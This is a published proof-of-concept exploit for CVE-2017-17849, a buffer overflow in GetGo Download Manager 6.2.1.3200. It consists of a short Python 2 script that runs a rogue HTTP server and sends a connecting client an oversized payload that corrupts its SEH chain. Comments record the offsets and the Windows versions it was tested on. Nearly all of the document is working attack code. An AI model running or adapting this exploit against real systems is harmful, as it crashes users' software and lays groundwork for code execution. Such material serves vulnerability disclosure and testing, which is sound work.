GetGo Download Manager 6.2.1.3200 Denial Of Service

`# Exploit Title: GetGo Download Manager 6.2.1.3200 - Buffer Overflow (Denial of Service)  
# Date: 2018-07-25  
# Exploit Author: Nathu Nandwani  
# Website: http://nandtech.co  
# CVE: CVE-2017-17849  
# Tested On: Windows 7 x86, Windows 10 x64   
#  
# Details  
#   
# The downloader feature of GetGo Download Manager is vulnerable   
# to a buffer overflow which can cause a denial of service.  
# To test the proof of concept, have it executed in your machine  
# and let the GetGo application download 'index.html' from your   
# given IP.  
#  
# SEH details (Windows 7 x86):  
#  
# SEH chain of thread 00000644, item 1  
# Address=0863E2C8  
# SE handler=68463967 <-> 4108 offset  
#  
# SEH chain of thread 00000644, item 2  
# Address=46386746 <-> 4104 offset  
# SE handler=*** CORRUPT ENTRY ***  
  
import socket  
  
server_ip = "0.0.0.0"  
server_port = 80  
payload = "A" * 4104 + "BBBB" + "\xcc\xcc\xcc\xcc" + "D" * 11000 + "\r\n"  
  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.bind((server_ip, server_port))  
sock.listen(1)  
  
print "Currently listening at " + server_ip + ":" + str(server_port)   
  
client, (client_host, client_port) = sock.accept()  
print "Client connected: " + client_host + ":" + str(client_port)  
print ""  
print client.recv(1000)  
  
client.send(payload)  
print "Sent payload"  
  
client.close()  
sock.close()  
  
`